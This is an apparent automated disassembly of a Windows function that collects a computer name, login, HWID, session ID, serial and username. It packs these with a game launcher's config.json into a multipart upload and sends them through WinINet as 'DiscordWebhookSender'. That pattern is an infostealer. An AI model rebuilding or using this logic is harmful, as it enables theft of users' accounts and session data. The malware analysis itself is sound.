Function at 0x404ed0
Capabilities:
Connect to http server
Create http request
Parse url
Send data
Send http request

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41714b
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x578
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x3a4], ecx
mov eax, dword [ebx + 0x10]
lea ecx, [ebp - 0x350]
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0xc]
mov dword [ebp - 0x398], eax
mov eax, dword [ebx + 0x14]
mov dword [ebp - 0x3c0], eax
mov eax, dword [ebx + 0x18]
mov dword [ebp - 0x39c], eax
mov eax, dword [ebx + 0x1c]
mov dword [ebp - 0x3a0], eax
call fcn.00404240
mov edx, esi
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x320]
call fcn.00404240
mov edx, edi
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x308]
call fcn.00404240
mov edx, dword [ebp - 0x398]
lea ecx, [ebp - 0x2f0]
mov byte [ebp - 4], 2
call fcn.00404240
mov edx, dword [ebp - 0x3c0]
lea ecx, [ebp - 0x2d8]
mov byte [ebp - 4], 3
call fcn.00404240
mov edx, dword [ebp - 0x39c]
lea ecx, [ebp - 0x2c0]
mov byte [ebp - 4], 4
call fcn.00404240
mov edx, dword [ebp - 0x3a0]
lea ecx, [ebp - 0x2a8]
mov byte [ebp - 4], 5
call fcn.00404240
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x290]
push 0x25
xorps xmm0, xmm0
mov dword [ebp - 0x280], 0
push str.____WebKitFormBoundary7MA4YWxkTrZu0gW
movups xmmword [ebp - 0x290], xmm0
mov dword [ebp - 0x27c], 0
call fcn.0040dfd0
lea eax, [ebp - 0x290]
mov byte [ebp - 4], 7
push eax
mov edx, 0x418888
lea ecx, [ebp - 0x4b0]
call fcn.0040c920
add esp, 4
mov edi, eax
mov byte [ebp - 4], 8
mov edx, dword [edi + 0x14]
mov eax, edx
mov ecx, dword [edi + 0x10]
sub eax, ecx
cmp eax, 0x57
jb 0x405054
lea eax, [ecx + 0x57]
mov dword [edi + 0x10], eax
mov eax, edi
cmp edx, 0xf
jbe 0x40503b
mov eax, dword [edi]
push 0x57
lea esi, [eax + ecx]
push str._r_nContent_Disposition:_form_data__name_payload_json__r_n_r_n_content_:_____computerName:
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 0x57], 0
jmp 0x40506c
push 0x57
push str._r_nContent_Disposition:_form_data__name_payload_json__r_n_r_n_content_:_____computerName:
push dword [ebp - 0x390]
mov ecx, edi
push 0x57
call fcn.0040e280
mov edi, eax
mov dword [ebp - 0x428], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x438], xmm0
mov dword [ebp - 0x424], 0
movups xmm0, xmmword [edi]
movups xmmword [ebp - 0x438], xmm0
movq xmm0, qword [edi + 0x10]
movq qword [ebp - 0x428], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
lea eax, [ebp - 0x350]
mov byte [ebp - 4], 9
push eax
lea edx, [ebp - 0x438]
lea ecx, [ebp - 0x510]
call fcn.0040cab0
add esp, 4
mov edi, eax
mov byte [ebp - 4], 0xa
mov edx, dword [edi + 0x14]
mov eax, edx
mov ecx, dword [edi + 0x10]
sub eax, ecx
cmp eax, 0xf
jb 0x40510e
lea eax, [ecx + 0xf]
mov dword [edi + 0x10], eax
mov eax, edi
cmp edx, 0xf
jbe 0x4050f5
mov eax, dword [edi]
push 0xf
lea esi, [eax + ecx]
push str._npostConnect:
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 0xf], 0
jmp 0x405126
push 0xf
push str._npostConnect:
push dword [ebp - 0x390]
mov ecx, edi
push 0xf
call fcn.0040e280
mov edi, eax
mov dword [ebp - 0x410], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x420], xmm0
mov dword [ebp - 0x40c], 0
movups xmm0, xmmword [edi]
movups xmmword [ebp - 0x420], xmm0
movq xmm0, qword [edi + 0x10]
movq qword [ebp - 0x410], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
lea eax, [ebp - 0x320]
mov byte [ebp - 4], 0xb
push eax
lea edx, [ebp - 0x420]
lea ecx, [ebp - 0x480]
call fcn.0040cab0
add esp, 4
mov edi, eax
mov byte [ebp - 4], 0xc
mov edx, dword [edi + 0x14]
mov eax, edx
mov ecx, dword [edi + 0x10]
sub eax, ecx
cmp eax, 9
jb 0x4051c8
lea eax, [ecx + 9]
mov dword [edi + 0x10], eax
mov eax, edi
cmp edx, 0xf
jbe 0x4051af
mov eax, dword [edi]
push 9
lea esi, [eax + ecx]
push str._nlogin:
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 9], 0
jmp 0x4051e0
push 9
push str._nlogin:
push dword [ebp - 0x390]
mov ecx, edi
push 9
call fcn.0040e280
mov edi, eax
mov dword [ebp - 0x3f8], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x408], xmm0
mov dword [ebp - 0x3f4], 0
movups xmm0, xmmword [edi]
movups xmmword [ebp - 0x408], xmm0
movq xmm0, qword [edi + 0x10]
movq qword [ebp - 0x3f8], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
lea eax, [ebp - 0x308]
mov byte [ebp - 4], 0xd
push eax
lea edx, [ebp - 0x408]
lea ecx, [ebp - 0x540]
call fcn.0040cab0
add esp, 4
mov edi, eax
mov byte [ebp - 4], 0xe
mov edx, dword [edi + 0x14]
mov eax, edx
mov ecx, dword [edi + 0x10]
sub eax, ecx
cmp eax, 8
jb 0x405282
lea eax, [ecx + 8]
mov dword [edi + 0x10], eax
mov eax, edi
cmp edx, 0xf
jbe 0x405269
mov eax, dword [edi]
push 8
lea esi, [eax + ecx]
push str._nhwid:
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 8], 0
jmp 0x40529a
push 8
push str._nhwid:
push dword [ebp - 0x390]
mov ecx, edi
push 8
call fcn.0040e280
mov edi, eax
mov dword [ebp - 0x3e0], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x3f0], xmm0
mov dword [ebp - 0x3dc], 0
movups xmm0, xmmword [edi]
movups xmmword [ebp - 0x3f0], xmm0
movq xmm0, qword [edi + 0x10]
movq qword [ebp - 0x3e0], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
lea eax, [ebp - 0x2f0]
mov byte [ebp - 4], 0xf
push eax
lea edx, [ebp - 0x3f0]
lea ecx, [ebp - 0x528]
call fcn.0040cab0
add esp, 4
mov edi, eax
mov byte [ebp - 4], 0x10
mov edx, dword [edi + 0x14]
mov eax, edx
mov ecx, dword [edi + 0x10]
sub eax, ecx
cmp eax, 8
jb 0x40533c
lea eax, [ecx + 8]
mov dword [edi + 0x10], eax
mov eax, edi
cmp edx, 0xf
jbe 0x405323
mov eax, dword [edi]
push 8
lea esi, [eax + ecx]
push str._nssid:
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 8], 0
jmp 0x405354
push 8
push str._nssid:
push dword [ebp - 0x390]
mov ecx, edi
push 8
call fcn.0040e280
mov edi, eax
mov dword [ebp - 0x3c8], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x3d8], xmm0
mov dword [ebp - 0x3c4], 0
movups xmm0, xmmword [edi]
movups xmmword [ebp - 0x3d8], xmm0
movq xmm0, qword [edi + 0x10]
movq qword [ebp - 0x3c8], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
lea eax, [ebp - 0x2d8]
mov byte [ebp - 4], 0x11
push eax
lea edx, [ebp - 0x3d8]
lea ecx, [ebp - 0x4f8]
call fcn.0040cab0
add esp, 4
mov edi, eax
mov byte [ebp - 4], 0x12
mov edx, dword [edi + 0x14]
mov eax, edx
mov ecx, dword [edi + 0x10]
sub eax, ecx
cmp eax, 0xa
jb 0x4053f6
lea eax, [ecx + 0xa]
mov dword [edi + 0x10], eax
mov eax, edi
cmp edx, 0xf
jbe 0x4053dd
mov eax, dword [edi]
push 0xa
lea esi, [eax + ecx]
push str._nserial:
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 0xa], 0
jmp 0x40540e
push 0xa
push str._nserial:
push dword [ebp - 0x390]
mov ecx, edi
push 0xa
call fcn.0040e280
mov edi, eax
mov dword [ebp - 0x458], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x468], xmm0
mov dword [ebp - 0x454], 0
movups xmm0, xmmword [edi]
movups xmmword [ebp - 0x468], xmm0
movq xmm0, qword [edi + 0x10]
movq qword [ebp - 0x458], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
lea eax, [ebp - 0x2c0]
mov byte [ebp - 4], 0x13
push eax
lea edx, [ebp - 0x468]
lea ecx, [ebp - 0x4e0]
call fcn.0040cab0
add esp, 4
mov edi, eax
mov byte [ebp - 4], 0x14
mov edx, dword [edi + 0x14]
mov eax, edx
mov ecx, dword [edi + 0x10]
sub eax, ecx
cmp eax, 0xc
jb 0x4054b0
lea eax, [ecx + 0xc]
mov dword [edi + 0x10], eax
mov eax, edi
cmp edx, 0xf
jbe 0x405497
mov eax, dword [edi]
push 0xc
lea esi, [eax + ecx]
push str._nusername:
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 0xc], 0
jmp 0x4054c8
push 0xc
push str._nusername:
push dword [ebp - 0x390]
mov ecx, edi
push 0xc
call fcn.0040e280
mov edi, eax
mov dword [ebp - 0x440], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x450], xmm0
mov dword [ebp - 0x43c], 0
movups xmm0, xmmword [edi]
movups xmmword [ebp - 0x450], xmm0
movq xmm0, qword [edi + 0x10]
movq qword [ebp - 0x440], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
lea eax, [ebp - 0x2a8]
mov byte [ebp - 4], 0x15
push eax
lea edx, [ebp - 0x450]
lea ecx, [ebp - 0x498]
call fcn.0040cab0
add esp, 4
mov edi, eax
mov byte [ebp - 4], 0x16
mov edx, dword [edi + 0x14]
mov eax, edx
mov ecx, dword [edi + 0x10]
sub eax, ecx
cmp eax, 7
jb 0x40556a
lea eax, [ecx + 7]
mov dword [edi + 0x10], eax
mov eax, edi
cmp edx, 0xf
jbe 0x405551
mov eax, dword [edi]
push 7
lea esi, [eax + ecx]
push str._____r_n
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 7], 0
jmp 0x405582
push 7
push str._____r_n
push dword [ebp - 0x390]
mov ecx, edi
push 7
call fcn.0040e280
mov edi, eax
xorps xmm0, xmm0
mov dword [ebp - 0x220], 0
movups xmmword [ebp - 0x230], xmm0
mov dword [ebp - 0x21c], 0
movups xmm0, xmmword [edi]
movups xmmword [ebp - 0x230], xmm0
movq xmm0, qword [edi + 0x10]
movq qword [ebp - 0x220], xmm0
mov byte [ebp - 4], 0x18
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov ecx, dword [ebp - 0x484]
cmp ecx, 0xf
jbe 0x405606
mov edx, dword [ebp - 0x498]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4055fc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405ad2
push ecx
push edx
call fcn.004153ea
add esp, 8
mov dword [ebp - 0x488], 0
mov dword [ebp - 0x484], 0xf
mov byte [ebp - 0x498], 0
mov byte [ebp - 4], 0x19
mov ecx, dword [ebp - 0x43c]
cmp ecx, 0xf
jbe 0x40565f
mov edx, dword [ebp - 0x450]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405655
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405ad2
push ecx
push edx
call fcn.004153ea
add esp, 8
mov dword [ebp - 0x440], 0
mov dword [ebp - 0x43c], 0xf
mov byte [ebp - 0x450], 0
mov byte [ebp - 4], 0x1a
mov ecx, dword [ebp - 0x4cc]
cmp ecx, 0xf
jbe 0x4056b8
mov edx, dword [ebp - 0x4e0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4056ae
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405ad2
push ecx
push edx
call fcn.004153ea
add esp, 8
mov dword [ebp - 0x4d0], 0
mov dword [ebp - 0x4cc], 0xf
mov byte [ebp - 0x4e0], 0
mov byte [ebp - 4], 0x1b
mov ecx, dword [ebp - 0x454]
cmp ecx, 0xf
jbe 0x405711
mov edx, dword [ebp - 0x468]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405707
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405ad2
push ecx
push edx
call fcn.004153ea
add esp, 8
mov dword [ebp - 0x458], 0
mov dword [ebp - 0x454], 0xf
mov byte [ebp - 0x468], 0
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0x4e4]
cmp ecx, 0xf
jbe 0x40576a
mov edx, dword [ebp - 0x4f8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405760
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405ad2
push ecx
push edx
call fcn.004153ea
add esp, 8
mov dword [ebp - 0x4e8], 0
mov dword [ebp - 0x4e4], 0xf
mov byte [ebp - 0x4f8], 0
mov byte [ebp - 4], 0x1d
mov ecx, dword [ebp - 0x3c4]
cmp ecx, 0xf
jbe 0x4057c3
mov edx, dword [ebp - 0x3d8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4057b9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405ad2
push ecx
push edx
call fcn.004153ea
add esp, 8
mov dword [ebp - 0x3c8], 0
mov dword [ebp - 0x3c4], 0xf
mov byte [ebp - 0x3d8], 0
mov byte [ebp - 4], 0x1e
mov ecx, dword [ebp - 0x514]
cmp ecx, 0xf
jbe 0x40581c
mov edx, dword [ebp - 0x528]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405812
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405ad2
push ecx
push edx
call fcn.004153ea
add esp, 8
mov dword [ebp - 0x518], 0
mov dword [ebp - 0x514], 0xf
mov byte [ebp - 0x528], 0
mov byte [ebp - 4], 0x1f
mov ecx, dword [ebp - 0x3dc]
cmp ecx, 0xf
jbe 0x405875
mov edx, dword [ebp - 0x3f0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40586b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405ad2
push ecx
push edx
call fcn.004153ea
add esp, 8
mov dword [ebp - 0x3e0], 0
mov dword [ebp - 0x3dc], 0xf
mov byte [ebp - 0x3f0], 0
mov byte [ebp - 4], 0x20
mov ecx, dword [ebp - 0x52c]
cmp ecx, 0xf
jbe 0x4058ce
mov edx, dword [ebp - 0x540]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4058c4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405ad2
push ecx
push edx
call fcn.004153ea
add esp, 8
mov dword [ebp - 0x530], 0
mov dword [ebp - 0x52c], 0xf
mov byte [ebp - 0x540], 0
mov byte [ebp - 4], 0x21
mov ecx, dword [ebp - 0x3f4]
cmp ecx, 0xf
jbe 0x405927
mov edx, dword [ebp - 0x408]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40591d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405ad2
push ecx
push edx
call fcn.004153ea
add esp, 8
mov dword [ebp - 0x3f8], 0
mov dword [ebp - 0x3f4], 0xf
mov byte [ebp - 0x408], 0
mov byte [ebp - 4], 0x22
mov ecx, dword [ebp - 0x46c]
cmp ecx, 0xf
jbe 0x405980
mov edx, dword [ebp - 0x480]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405976
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405ad2
push ecx
push edx
call fcn.004153ea
add esp, 8
mov dword [ebp - 0x470], 0
mov dword [ebp - 0x46c], 0xf
mov byte [ebp - 0x480], 0
mov byte [ebp - 4], 0x23
mov ecx, dword [ebp - 0x40c]
cmp ecx, 0xf
jbe 0x4059d9
mov edx, dword [ebp - 0x420]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4059cf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405ad2
push ecx
push edx
call fcn.004153ea
add esp, 8
mov dword [ebp - 0x410], 0
mov dword [ebp - 0x40c], 0xf
mov byte [ebp - 0x420], 0
mov byte [ebp - 4], 0x24
mov ecx, dword [ebp - 0x4fc]
cmp ecx, 0xf
jbe 0x405a32
mov edx, dword [ebp - 0x510]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405a28
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405ad2
push ecx
push edx
call fcn.004153ea
add esp, 8
mov dword [ebp - 0x500], 0
mov dword [ebp - 0x4fc], 0xf
mov byte [ebp - 0x510], 0
mov byte [ebp - 4], 0x25
mov ecx, dword [ebp - 0x424]
cmp ecx, 0xf
jbe 0x405a87
mov edx, dword [ebp - 0x438]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405a7d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405ad2
push ecx
push edx
call fcn.004153ea
add esp, 8
mov dword [ebp - 0x428], 0
mov dword [ebp - 0x424], 0xf
mov byte [ebp - 0x438], 0
mov byte [ebp - 4], 0x26
mov ecx, dword [ebp - 0x49c]
cmp ecx, 0xf
jbe 0x405ae2
mov edx, dword [ebp - 0x4b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405ad8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x405ad8
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004153ea
add esp, 8
lea ecx, [ebp - 0x338]
mov dword [ebp - 0x4a0], 0
mov dword [ebp - 0x49c], 0xf
mov byte [ebp - 0x4b0], 0
call fcn.004043d0
lea eax, [ebp - 0x338]
mov byte [ebp - 4], 0x27
push eax
lea ecx, [ebp - 0x4c8]
call fcn.0040d660
add esp, 4
push str.AppDataRoaming_nextrp_launcherconfig.json
mov ecx, eax
mov byte [ebp - 4], 0x28
call fcn.0040c480
xorps xmm0, xmm0
mov dword [ebp - 0x24c], 0
movups xmmword [ebp - 0x25c], xmm0
mov dword [ebp - 0x248], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x25c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x24c], xmm0
mov byte [ebp - 4], 0x2a
xor ecx, ecx
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov ecx, dword [ebp - 0x4b4]
cmp ecx, 7
jbe 0x405bbf
mov edx, dword [ebp - 0x4c8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x405bb5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x405bb5
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004153ea
add esp, 8
xor eax, eax
mov dword [ebp - 0x4b8], 0
push 0xb8
push eax
mov word [ebp - 0x4c8], ax
xorps xmm0, xmm0
mov dword [ebp - 0x234], eax
lea eax, [ebp - 0xd0]
push eax
mov dword [ebp - 0x4b4], 7
movq qword [ebp - 0x23c], xmm0
call sub.VCRUNTIME140.dll_memset
cmp dword [ebp - 0x248], 7
lea eax, [ebp - 0x25c]
lea ecx, [ebp - 0xd0]
cmova eax, dword [ebp - 0x25c]
push eax
call fcn.0040c1b0
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xd0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xd0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0xd4], eax
mov byte [ebp - 4], 0x2b
mov eax, dword [ebp - 0xd0]
mov word [ebp - 0x390], 1
push dword [ebp - 0x390]
mov byte [ebp - 0x23f], 0
mov eax, dword [eax + 4]
push 0
mov eax, dword [ebp + eax - 0x98]
test eax, eax
sete byte [ebp - 0x240]
push dword [ebp - 0x240]
push eax
push ecx
lea ecx, [ebp - 0x23c]
call fcn.0040d400
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xd0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xd0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0xd4], eax
lea ecx, [ebp - 0xc0]
call fcn.0040b2a0
lea ecx, [ebp - 0xb8]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_istream_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x60]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
lea eax, [ebp - 0x290]
mov byte [ebp - 4], 0x2c
push eax
mov edx, 0x418888
lea ecx, [ebp - 0x588]
call fcn.0040c920
add esp, 4
mov edi, eax
mov byte [ebp - 4], 0x2d
mov edx, dword [edi + 0x14]
mov eax, edx
mov ecx, dword [edi + 0x10]
sub eax, ecx
cmp eax, 0x71
jb 0x405d30
lea eax, [ecx + 0x71]
mov dword [edi + 0x10], eax
mov eax, edi
cmp edx, 0xf
jbe 0x405d17
mov eax, dword [edi]
push 0x71
lea esi, [eax + ecx]
push str._r_nContent_Disposition:_form_data__name_file___filename_config.json__r_nContent_Type:_application_octet_stream_r_n_r_n
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 0x71], 0
jmp 0x405d48
push 0x71
push str._r_nContent_Disposition:_form_data__name_file___filename_config.json__r_nContent_Type:_application_octet_stream_r_n_r_n
push dword [ebp - 0x390]
mov ecx, edi
push 0x71
call fcn.0040e280
mov edi, eax
movups xmm1, xmmword [edi]
movq xmm0, qword [edi + 0x10]
movups xmmword [ebp - 0x3bc], xmm1
movq qword [ebp - 0x3ac], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov byte [ebp - 4], 0x2e
lea edx, [ebp - 0x3bc]
cmp dword [ebp - 0x3a8], 0xf
mov esi, dword [ebp - 0x220]
mov eax, dword [ebp - 0x21c]
mov ecx, dword [ebp - 0x3ac]
movd edi, xmm1
push ecx
mov dword [ebp - 0x398], esi
cmova edx, edi
sub eax, esi
push edx
cmp ecx, eax
ja 0x405dea
cmp dword [ebp - 0x21c], 0xf
lea eax, [ecx + esi]
mov dword [ebp - 0x220], eax
lea esi, [ebp - 0x230]
cmova esi, dword [ebp - 0x230]
mov eax, dword [ebp - 0x398]
add eax, esi
push eax
call sub.VCRUNTIME140.dll_memmove
mov eax, dword [ebp - 0x3ac]
add esp, 0xc
mov ecx, dword [ebp - 0x398]
add eax, esi
mov byte [eax + ecx], 0
jmp 0x405e02
push dword [ebp - 0x390]
push ecx
lea ecx, [ebp - 0x230]
call fcn.0040e280
mov edi, dword [ebp - 0x3bc]
mov byte [ebp - 4], 0x2d
mov eax, dword [ebp - 0x3a8]
cmp eax, 0xf
jbe 0x405e38
lea ecx, [eax + 1]
mov eax, edi
cmp ecx, 0x1000
jb 0x405e2e
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405e68
push ecx
push edi
call fcn.004153ea
add esp, 8
mov byte [ebp - 4], 0x2c
mov ecx, dword [ebp - 0x574]
cmp ecx, 0xf
jbe 0x405e78
mov edx, dword [ebp - 0x588]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405e6e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x405e6e
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004153ea
add esp, 8
cmp dword [ebp - 0x21c], 0xf
lea edx, [ebp - 0x230]
mov ecx, dword [ebp - 0x23c]
lea eax, [ebp - 0x230]
cmova edx, dword [ebp - 0x230]
add edx, dword [ebp - 0x220]
cmp dword [ebp - 0x21c], 0xf
cmova eax, dword [ebp - 0x230]
sub edx, eax
mov eax, dword [ebp - 0x238]
sub eax, ecx
push eax
push ecx
push edx
lea ecx, [ebp - 0x230]
call fcn.0040e7c0
lea eax, [ebp - 0x290]
mov edx, str._r_n__
push eax
lea ecx, [ebp - 0x558]
call fcn.0040c920
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x2f
mov esi, dword [ecx + 0x14]
mov eax, esi
mov edx, dword [ecx + 0x10]
sub eax, edx
cmp eax, 4
jb 0x405f10
lea eax, [edx + 4]
mov dword [ecx + 0x10], eax
mov eax, ecx
cmp esi, 0xf
jbe 0x405f02
mov eax, dword [ecx]
mov dword [eax + edx], 0xa0d2d2d
mov byte [eax + edx + 4], 0
jmp 0x405f26
push 4
push str.___r_n
push dword [ebp - 0x390]
push 4
call fcn.0040e280
mov ecx, eax
movups xmm1, xmmword [ecx]
movq xmm0, qword [ecx + 0x10]
movups xmmword [ebp - 0x3bc], xmm1
movq qword [ebp - 0x3ac], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
mov byte [ebp - 4], 0x30
lea edx, [ebp - 0x3bc]
cmp dword [ebp - 0x3a8], 0xf
mov esi, dword [ebp - 0x220]
mov eax, dword [ebp - 0x21c]
mov ecx, dword [ebp - 0x3ac]
movd edi, xmm1
push ecx
mov dword [ebp - 0x398], esi
cmova edx, edi
sub eax, esi
push edx
cmp ecx, eax
ja 0x405fc8
cmp dword [ebp - 0x21c], 0xf
lea eax, [ecx + esi]
mov dword [ebp - 0x220], eax
lea esi, [ebp - 0x230]
cmova esi, dword [ebp - 0x230]
mov eax, dword [ebp - 0x398]
add eax, esi
push eax
call sub.VCRUNTIME140.dll_memmove
mov eax, dword [ebp - 0x3ac]
add esp, 0xc
mov ecx, dword [ebp - 0x398]
add eax, esi
mov byte [eax + ecx], 0
jmp 0x405fe0
push dword [ebp - 0x390]
push ecx
lea ecx, [ebp - 0x230]
call fcn.0040e280
mov edi, dword [ebp - 0x3bc]
mov byte [ebp - 4], 0x2f
mov eax, dword [ebp - 0x3a8]
cmp eax, 0xf
jbe 0x406016
lea ecx, [eax + 1]
mov eax, edi
cmp ecx, 0x1000
jb 0x40600c
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406046
push ecx
push edi
call fcn.004153ea
add esp, 8
mov byte [ebp - 4], 0x2c
mov ecx, dword [ebp - 0x544]
cmp ecx, 0xf
jbe 0x406056
mov edx, dword [ebp - 0x558]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40604c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40604c
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004153ea
add esp, 8
push 0
push 0
push 0
push 1
push str.DiscordWebhookSender
call dword [sym.imp.WININET.dll_InternetOpenW]
mov esi, eax
mov dword [ebp - 0x39c], esi
test esi, esi
je 0x406342
xorps xmm0, xmm0
mov dword [ebp - 0x380], 0
push 0x100
lea eax, [ebp - 0x118]
movlpd qword [ebp - 0x388], xmm0
push 0
push eax
movlpd qword [ebp - 0x374], xmm0
movlpd qword [ebp - 0x36c], xmm0
mov dword [ebp - 0x364], 0
movlpd qword [ebp - 0x358], xmm0
mov dword [ebp - 0x38c], 0x3c
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x218]
push 0x100
push 0
push eax
call sub.VCRUNTIME140.dll_memset
lea eax, [ebp - 0x118]
mov dword [ebp - 0x378], 0x100
